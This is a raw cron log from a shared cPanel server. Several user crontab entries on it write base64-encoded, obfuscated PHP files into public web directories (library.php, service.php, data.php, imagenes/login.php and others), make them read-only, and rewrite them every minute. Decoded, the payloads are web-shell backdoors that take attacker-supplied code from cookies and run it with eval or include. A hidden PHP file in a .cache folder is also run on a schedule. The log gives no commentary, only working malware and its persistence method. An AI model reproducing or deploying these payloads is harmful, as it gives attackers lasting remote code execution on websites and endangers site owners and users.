Jun  7 12:36:02 medusa CROND[8413]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:36:02 medusa CROND[8414]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:36:02 medusa CROND[8415]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:36:02 medusa CROND[8416]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:36:02 medusa CROND[8418]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:36:02 medusa CROND[8419]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:36:02 medusa CROND[8420]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:36:02 medusa CROND[8423]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:36:02 medusa CROND[8424]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:36:02 medusa CROND[8427]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:36:02 medusa CROND[8432]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:36:02 medusa CROND[8444]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:37:01 medusa CROND[10195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:37:01 medusa CROND[10196]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Jun  7 12:37:01 medusa CROND[10234]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:37:01 medusa CROND[10235]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:37:01 medusa CROND[10236]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:37:01 medusa CROND[10237]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:37:01 medusa CROND[10238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:37:01 medusa CROND[10240]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:37:01 medusa CROND[10244]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:37:01 medusa CROND[10246]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:37:01 medusa CROND[10247]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:37:01 medusa CROND[10248]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:37:01 medusa CROND[10252]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:37:01 medusa CROND[10255]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:38:01 medusa CROND[11861]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:38:01 medusa CROND[11910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:38:01 medusa CROND[11911]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:38:01 medusa CROND[11912]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:38:01 medusa CROND[11914]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:38:01 medusa CROND[11915]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:38:01 medusa CROND[11913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:38:01 medusa CROND[11916]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:38:01 medusa CROND[11917]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
